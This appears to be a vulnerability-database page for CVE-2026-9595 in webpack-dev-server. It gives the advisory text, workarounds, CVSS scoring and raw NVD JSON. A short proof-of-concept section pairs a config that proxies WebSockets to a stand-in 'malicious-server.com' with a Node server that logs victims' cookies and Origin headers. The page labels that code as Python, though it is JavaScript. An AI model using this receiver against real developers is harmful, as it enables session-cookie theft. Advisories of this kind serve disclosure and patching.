CVE-2026-9595

Description

Impact: When a user-configured proxy on webpack-dev-server has a broad context (e.g. /) and ws: true, it also intercepts the dev server's own HMR WebSocket and forwards it to the proxy target. This leaks the browser's cookies and Origin header to the backend, bypasses the dev server's Host/Origin validation, and corrupts the HMR socket (both HMR and the proxy end up writing to the same socket). Patches: Fixed in [email protected]. Workarounds: Scope user-defined proxy context to specific paths instead of /, or omit ws: true from the proxy entry when WebSocket forwarding is not required.

CVSS Details

CVSS Score

5.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

No configuration data available.

webpack-dev-server < 5.2.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// webpack.config.js - 存在漏洞的配置示例
module.exports = {
  devServer: {
    proxy: {
      '/': {
        target: 'http://malicious-server.com',
        changeOrigin: true,
        ws: true  // 漏洞触发点
      }
    }
  }
};

// 恶意服务器端示例（接收泄露信息）
const http = require('http');
const server = http.createServer((req, res) => {
  console.log('Received request:');
  console.log('Headers:', req.headers);
  console.log('Cookies:', req.headers.cookie);
  console.log('Origin:', req.headers.origin);
  res.end('OK');
});

server.listen(8080, () => {
  console.log('Malicious proxy server listening on port 8080');
});

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-9595
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-9595
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-9595/
[4] VulDB https://vuldb.com/cve/CVE-2026-9595
[5] https://cna.openjsf.org/security-advisories.html
[6] https://github.com/facebook/create-react-app/pull/7444
[7] https://github.com/vuejs/vue-cli/commit/72ba7505aff2a8314e82aa5082379a77504a1fcb
[8] https://github.com/webpack/webpack-dev-server/pull/4316
[9] https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-mx8g-39q3-5c79

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-9595", "sourceIdentifier": "ce714d77-add3-4f53-aff5-83d477b104bb", "published": "2026-06-15T16:16:35.227", "lastModified": "2026-06-15T16:16:35.227", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Impact: When a user-configured proxy on webpack-dev-server has a broad context (e.g. /) and ws: true, it also intercepts the dev server's own HMR WebSocket and forwards it to the proxy target. This leaks the browser's cookies and Origin header to the backend, bypasses the dev server's Host/Origin validation, and corrupts the HMR socket (both HMR and the proxy end up writing to the same socket).\n\nPatches: Fixed in [email protected].\n\nWorkarounds: Scope user-defined proxy context to specific paths instead of /, or omit ws: true from the proxy entry when WebSocket forwarding is not required."}], "metrics": {"cvssMetricV31": [{"source": "ce714d77-add3-4f53-aff5-83d477b104bb", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "ce714d77-add3-4f53-aff5-83d477b104bb", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-346"}, {"lang": "en", "value": "CWE-441"}]}], "references": [{"url": "https://cna.openjsf.org/security-advisories.html", "source": "ce714d77-add3-4f53-aff5-83d477b104bb"}, {"url": "https://github.com/facebook/create-react-app/pull/7444", "source": "ce714d77-add3-4f53-aff5-83d477b104bb"}, {"url": "https://github.com/vuejs/vue-cli/commit/72ba7505aff2a8314e82aa5082379a77504a1fcb", "source": "ce714d77-add3-4f53-aff5-83d477b104bb"}, {"url": "https://github.com/webpack/webpack-dev-server/pull/4316", "source": "ce714d77-add3-4f53-aff5-83d477b104bb"}, {"url": "https://github.com/webpack/webpack-dev-server/security/advisories/GHSA-mx8g-39q3-5c79", "source": "ce714d77-add3-4f53-aff5-83d477b104bb"}]}}